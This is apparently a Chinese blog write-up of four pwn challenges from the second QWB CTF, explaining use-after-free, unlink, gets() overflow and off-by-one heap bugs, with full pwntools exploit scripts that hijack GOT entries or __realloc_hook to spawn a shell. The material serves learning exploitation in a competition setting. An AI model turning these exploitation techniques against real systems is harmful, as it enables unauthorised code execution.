第二届强网杯pwn writeup【部分】

0x00 前言

看神仙打架系列,题太多了,自己太菜了,还是只有沦落到赛后复现大佬们的Write Up的地步了,什么时候才能在比赛中做出来几道pwn题呢

0x01 Silent

  • 漏洞位置

del函数free掉堆块后没有清空指针造成了dangling_ptr。并且edit函数在使用时没有检查堆块是否已经free

  • 利用思路
    利用UAF构造fastbin attack。申请堆块,释放堆块进入fastbinedit释放的堆块,修改其中的fdgot表上去,再申请回来,修改got表。

    Fastbin Attack
    malloc回来的时候会检查size位,看这个堆块是不是属于该Fastbin中,不过只检查低4字节,如果size位为61,那么检查时61-6f都能通过。

  • my-exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    from pwn import *
    local = 1
    if local:
    p = process('./silent')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    p = remote('39.107.32.132' , 10000)#nc 39.107.32.132 10000
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

    def add(length , text):
    p.sendline('1')
    sleep(0.3)
    p.sendline(str(length))
    sleep(0.3)
    p.sendline(text)
    sleep(0.3)

    def dele(num):
    p.sendline('2')
    sleep(0.3)
    p.sendline(str(num))
    sleep(0.3)

    def edit(num , text):
    p.sendline('3')
    sleep(0.3)
    p.sendline(str(num))
    sleep(0.3)
    p.sendline(text)
    sleep(0.3)
    p.sendline('')

    def debug():
    print pidof(p)[0]
    raw_input()

    elf = ELF('./silent')
    p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
    fake_chunk = 0x601ffa
    system_plt = 0x400730
    success('fake_chunk => ' + hex(fake_chunk))
    success('system_plt => ' + hex(system_plt))
    add(0x50 , 'a' * 0x4f)#chunk 0 rabbish
    add(0x50 , 'b' * 0x4f)#chunk 1 rabbish
    add(0x50 , 'c' * 0x4f)
    #debug()
    dele(0)#fastbin->chunk0
    dele(1)#fastbin->chunk1->chunk0
    debug()
    dele(0)#fastbin->chunk0->chunk1->chunk0
    add(0x50 , p64(fake_chunk))#fastbin->chunk1->chunk0->0x601ffa fd
    add(0x50 , '/bin/sh\x00')#fastbin->chunk0->0x601ffa rabbish
    add(0x50 , 'c' * 0x4f)#fastbin->0x601ffa command(chunk1)
    add(0x50 , 'A' * 0xe + p64(system_plt))#free=>system
    dele(1)#free(chunk1)=>system('/bin/sh\x00')
    #debug()
    p.interactive()

0x02 Silent2

  • 漏洞位置
    几乎和Silent一样的,一个dangling_ptr,一个UAF,不过在申请堆块的时候做了限制,,需要大于0x7f,即不能在fastbin的范围内。
  • 利用思路
    UAFdangling_ptr自然是构造unlink

    sleep的重要性
    经过这到题,我领悟到了sleep的重要性,尤其是这种没有信息交互的地方更是致命,明明各种条件都构造好了,都满足了,却迟迟不能稳定起shell,最后sleep之后就顺利稳定起shell了。

  • my-exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    from pwn import *
    local = 1
    if local:
    p = process('./silent2')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    p = remote('39.107.32.132' , 10001)#nc 39.107.32.132 10001
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

    def add(length , text):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(length))
    sleep(0.1)
    p.sendline(text)
    sleep(0.1)

    def dele(num):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(num))
    sleep(0.1)

    def edit(num , text):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(num))
    sleep(0.1)
    p.sendline(text)
    sleep(0.1)
    p.sendline('')
    sleep(0.1)

    def debug():
    print pidof(p)[0]
    raw_input()

    elf = ELF('./silent2')
    chunk0_addr = 0x6020d8
    p.recvuntil('==+RWBXtIRRV+.+IiYRBYBRRYYIRI;VitI;=;..........:::.::;::::...;;;:.')
    add(0x80 , '1' * 0x7f)
    add(0x80 , '/bin/sh\x00')
    add(0x80 , '3' * 0x7f)
    add(0x80 , 'a' * 0x7f)
    add(0x80 , 'b' * 0x7f)
    add(0x100 , 'c' * 0xff)
    add(0x80 , 'd' * 0x7f)
    dele(4)
    dele(5)
    payload = p64(0) + p64(0x110) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10)
    add(0x190 , 'e' * 0x80 + p64(0x110) + p64(0x90) + 'e' * 0x80 + p64(0x90) + p64(0x81))
    edit(3 , payload)
    dele(5)
    #----finish unlink----
    free_got = elf.got['free']
    success('free_got => ' + hex(free_got))
    system_plt = elf.plt['system']
    success('system_plt => ' + hex(system_plt))
    edit(3 , p64(free_got))
    edit(0 , p64(system_plt))
    dele(1)
    #debug()
    p.interactive()

0x03 opm

分析题目可得出数据结构如下:

1
2
3
4
5
6
struct stru{
int (func*)();
char *name_ptr;
int length;
int punches;
}
  • 漏洞位置
    add函数中存在两个gets()函数,存在缓冲区溢出。
    Add
  • 利用思路
    观察栈分布,gets()超过0x80长度后会覆盖掉栈上的结构体变量,并且add函数中有2次覆盖的机会,第1次覆盖将会影响到length的存放,第2次覆盖将会影响到punches的存放,以及kill函数的参数。
    kill函数中,可以将传进参数a1 + 8作为地址中的内容打印出来,以及将a1 + 0x18位置的内容以16进制的形式打印出来。在我们通过溢出控制传入参数后可以做leak
    kill
    checksec中可以看到是保护机制全开的,所以我们需要leak出程序段基址和libc基址。结合kill函数和结构体的数据结构可以初步确定leak方式为覆盖如kill的参数,使参数+ 8放的是函数的got,使参数+ 0x18放的是程序段的地址,两次leak不需要同时进行。
    checksec
    难点就在于如何leak,由于gets()会在输入后面加上\x00,所以我们并不能随心所欲地将地址覆盖成我们想要的地址,而只能覆盖成以00结尾的地址,这就需要我们事先将got表布置在以08结尾的地址或将程序段地址布置在以18结尾的地址。若我们事先知道程序段的基址的话,可以通过在输入name_ptr时轻松地将got表布置在08的地址。现在需要解决的问题就是如何得到程序段基址,即如何将程序段地址布置在18的地址,由于给punches赋值是在第二次覆盖掉结构体后,所以不能用+ 0x18来进行leak,推翻上一段的利用思路。所以我们只能够通过构造指向程序段的指针来利用第一个%s进行leak
    leak出两个地址过后,由于show函数会将add函数返回的结构体的第一个8字节作为函数的入口地址执行该函数,而且add的返回值为我们第二次覆盖后的结构体,可控,所以我们可以尝试将该地址指向一个one_gadget就能起shell了。
    Show

leak程序段基址
根据WriteUp分析了半天才看出来是怎么构造的,还是太菜了,这也是为什么这个利用思路写的这么拖沓的原因。。。我们先多add几次,将地址抬高到_d00的位置,再次add时,第一次覆盖结构体时输入0x81位,将结构体覆盖为00xx,使后面的name_ptr、length、punches都写到00xx后的地址上去,此时00xx + 8name_ptr指针,指向name字符串,但这个name_ptr的值为d_,若我们能将后面一个字节覆盖成00就可以在第二次覆盖结构体时将结构体再次改为00xx去,利用kill打印出我们事先在_d00布置好的程序段地址。此时就利用字节不对齐的方式进行最低位改为00的操作,在将_d00布置好后的下一次add中的第一次覆盖我们将结构体覆盖为00xx此次add不触发第二次覆盖。然后再在下一次的add中的第一次覆盖时,我们将结构体覆盖为00xx - 15,覆盖后会在对length进行赋值,即00xx - 15 + 16进行赋值时,将刚刚的d_最低位(地址为00xx + 9)覆盖成00然后在第二次覆盖时,将结构体又覆盖会00xx,调用kill函数即可实现leak
第一次add结束
第二次add结束

  • my-exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    from pwn import *

    local = 1

    if local:
    p = process('./opm')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    print 'time is up'

    def add(name , punches):
    p.recvuntil('(E)xit\n')
    p.sendline('A')
    p.recvuntil('name:\n')
    p.sendline(name)
    sleep(0.1)
    p.recvuntil('punch?\n')
    p.sendline(str(punches))
    sleep(0.1)

    def show():
    p.recvuntil('(E)xit\n')
    p.sendline('S')

    def debug():
    print pidof(p)[0]
    raw_input()

    elf = ELF('./opm')
    #one_gadget = 0x45216 0x4526a 0xf02a4 0xf1147

    #step 1 leak elf_base
    add('a' * 0x30 , 0x10)
    add('b' * 0x30 , 0x20)
    add('c' , 0x30)
    add('d' * 0x80 + '\x63' , 0x40)
    debug()
    add('e' * 0x80 + '\x54' , '1' * 0x80 + '\x63')
    #use 0054 + 0x10 (v6 -> length) to make a d00 , change 0054 to 0063 to point d00
    elf.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - 0xb30
    success('elf_base => ' + hex(elf.address))

    #step 2 use f00 to leak libc_base
    atoi_got = elf.got['atoi']
    success('atoi_got => ' + hex(atoi_got))
    add('f' * 8 + p64(atoi_got) , 0x50)
    add('g' , 'g' * 0x80)
    libc.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - libc.symbols['atoi']
    success('libc_base => ' + hex(libc.address))

    #step 3 use 000 and show() to trigger one_gadget
    one_gadget = libc.address + 0x4526a
    add('h' * 0x60 + p64(one_gadget), '')
    add('i' * 0x80 , '')
    show()

    #debug()
    p.interactive()

0x04 note

  • 漏洞位置

该程序为socket程序,绑定为1234端口,需要系统有note的用户权限。程序在change_title的功能中存在off_by_one漏洞。
off_by_one
不过由于前面check_asc()中的限制,导致只能用0x0a、0x21、0x22、0x23、0x26、0x27、0x3F、0x40这几个规定内的字节进行溢出。
check_asc

  • 利用思路
    题目限制只能realloc3次,利用0x40进行off_by_one并布置unlink环境,在此之前应该首先利用change_content功能构造好满足0x40大小的下一个chunk head。由于0x40大小的堆块在fastbin的范围内,无法直接free触发unlink,于是第二次realloc将该chunk放入fastbin中,在第三次realloc时触发malloc_consolidate进行unlinkunlink后,使.bss上的title指向comment指针,再配合change_comment功能,实现任意地址写,最终采用写realloc_hooksystem的方法get shell。(不知道是否本地环境的问题,一开始就能直接leak libc)

    realloc
    函数原型为realloc(ptr, size),其中ptr为指向堆的指针,size为需要realloc的大小,根据size的大小有以下几种情况:

    • size = 0时,相当于free(ptr)
    • size < ptr原大小时,会将原chunk分割为两部分,free掉后面的chunk
    • size = ptr原大小时,没什么卵用,不会进行任何操作。注:该等于为将size对齐后相等。
    • size > ptr原大小时,若ptr下方为top chunk或者下方存在fastbin之外的free chunk并且size(free chunk) + size(ptr原大小) ≥ size,则将该堆块大小扩展至size,若不满足上述条件,则相当于free(ptr)然后malloc(size)

malloc_consolidate
该函数会将fastbin中的所有chunk整合到unsort bin中,并且在从fastbin中摘下chunk时会检查相邻的堆块是否为free状态,若为free状态则将触发堆融合。本题采用malloc大于top chunksize触发malloc_consolidate

  • my-exp.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    from pwn import *
    local = 1

    if local:
    p = remote('0' , 1234)
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
    print 'time is up'

    def change_title(title):
    p.recvuntil('--->>\n')
    p.sendline('1')
    p.recvuntil('title:')
    p.send(title) #off_by_one

    def change_content(size , content):
    p.recvuntil('--->>')
    p.sendline('2')
    p.recvuntil('256):')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

    def change_comment(comment):
    p.recvuntil('--->>')
    p.sendline('3')
    p.recvuntil('comment:')
    p.sendline(comment)

    def show():
    p.recvuntil('--->>')
    p.sendline('4')
    p.recvuntil('is:')
    return p.recvuntil('\n')[:-1]

    #step1 leak libc_base
    libc.address = u64(show().ljust(8 , '\x00')) - 0x3c4b78
    success('libc_base => ' + hex(libc.address))

    system_addr = libc.symbols['system']
    info('system_addr => ' + hex(system_addr))
    realloc_hook = libc.symbols['__realloc_hook']
    info('realloc_hook => ' + hex(realloc_hook))
    binsh_addr = libc.search('/bin/sh\x00').next()
    info('binsh_addr => ' + hex(binsh_addr))

    #step2 make unlink
    content = 0x602070
    payload = p64(0x30) + p64(0x20) + p64(content - 0x18) + p64(content - 0x10) + p64(0x20) + '\x40'
    change_content(0x78 , 0x38 * 'A' + p64(0x41))
    change_title(payload)

    #step3 free content to fastbin
    change_content(0x100 , '')

    #step4 trigger malloc_consolidate to unlink
    change_content(0x20000 , '')

    #step5 realloc_hook -> system
    change_title(p64(realloc_hook) + '\n')
    change_comment(p64(system_addr))

    #step6 reset chance & content -> /bin/sh
    change_title(p64(0x602050) + p64(binsh_addr) + '\n')
    change_comment(p64(0))

    #step7 realloc(content , size) => realloc_hook(binsh_addr) => system('/bin/sh\x00')
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('(64-256):')
    p.sendline('') #size doesn't matter

    #Get Shell & Have Fun
    p.interactive()
文章目录
  1. 1. 0x00 前言
  2. 2. 0x01 Silent
  3. 3. 0x02 Silent2
  4. 4. 0x03 opm
  5. 5. 0x04 note
,